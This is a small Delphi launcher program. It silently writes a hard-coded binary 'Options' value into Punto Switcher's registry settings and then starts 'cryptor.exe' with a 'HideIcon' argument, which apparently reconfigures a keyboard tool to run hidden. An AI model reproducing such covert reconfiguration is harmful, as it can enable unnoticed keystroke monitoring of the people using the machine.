program crypt;

uses
  Forms,  ShellAPI,SysUtils, windows, RegisTry,
  Unit1 in 'Unit1.pas' {Form1};

{$R *.res}
var reg:TRegisTry;
s:string;
b:array [1..112] of byte;
n:byte;
begin

  Application.Initialize;
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\Punto Switcher\2.0',True);
//SetLength(buf,36);
//buf:=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,  00,0,0,1,0,1,1,1,1,1,1,0,0,0,1,0,0,44,1,0,0,44,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0];
b[1]:=0;
b[2]:=0;
b[3]:=0;
b[4]:=0;
b[5]:=0;
b[6]:=0;
b[7]:=0;
b[8]:=0;
b[9]:=0;
b[10]:=0;
b[11]:=0;
b[12]:=0;
b[13]:=0;
b[14]:=0;
b[15]:=0;
b[16]:=0;
b[17]:=0;
b[18]:=0;
b[19]:=0;
b[20]:=0;
b[21]:=0;
b[22]:=0;
b[23]:=0;
b[24]:=0;
b[25]:=0;
b[26]:=0;
b[27]:=0;
b[28]:=0;
b[29]:=0;
b[30]:=0;
b[31]:=0;
b[32]:=0;
b[33]:=0;
b[34]:=0;
b[35]:=0;
b[36]:=0;
b[37]:=0;
b[38]:=0;
b[39]:=0;
b[40]:=0;
b[41]:=0;
b[42]:=0;
b[43]:=0;
b[44]:=0;
b[45]:=0;
b[46]:=0;
b[47]:=0;
b[48]:=0;
b[49]:=0;
b[50]:=0;
b[51]:=0;
b[52]:=0;
b[53]:=0;
b[54]:=0;
b[55]:=0;
b[56]:=1;
b[57]:=0;
b[58]:=0;
b[59]:=0;
b[60]:=1;
b[61]:=1;
b[62]:=0;
b[63]:=0;
b[64]:=0;
b[65]:=0;
b[66]:=0;
b[67]:=0;
b[68]:=0;
b[69]:=1;
b[70]:=1;
b[71]:=0;
b[72]:=0;
b[73]:=0;
b[74]:=0;
b[75]:=1;
b[76]:=0;
b[77]:=1;
b[78]:=1;
b[79]:=1;
b[80]:=1;
b[81]:=1;
b[82]:=1;
b[83]:=0;
b[84]:=0;
b[85]:=0;
b[86]:=1;
b[87]:=0;
b[88]:=0;
b[89]:=44;
b[90]:=1;
b[91]:=0;
b[92]:=0;
b[93]:=44;
b[94]:=1;
b[95]:=0;
b[96]:=0;
b[97]:=0;
b[98]:=0;
b[99]:=0;
b[100]:=0;
b[101]:=0;
b[102]:=0;
b[103]:=0;
b[104]:=0;
b[105]:=1;
b[106]:=0;
b[107]:=0;
b[108]:=0;
b[109]:=1;
b[110]:=0;
b[111]:=0;
b[112]:=0;
reg.WriteBinaryData ('Options',b,112);

  ShellExecute(0, 'open',PChar(ExtractFileDir(Application.ExeName)+'\cryptor.exe'), 'HideIcon', PChar(0), sw_show);
  Application.CreateForm(TForm1, Form1);
  Application.Run;

end.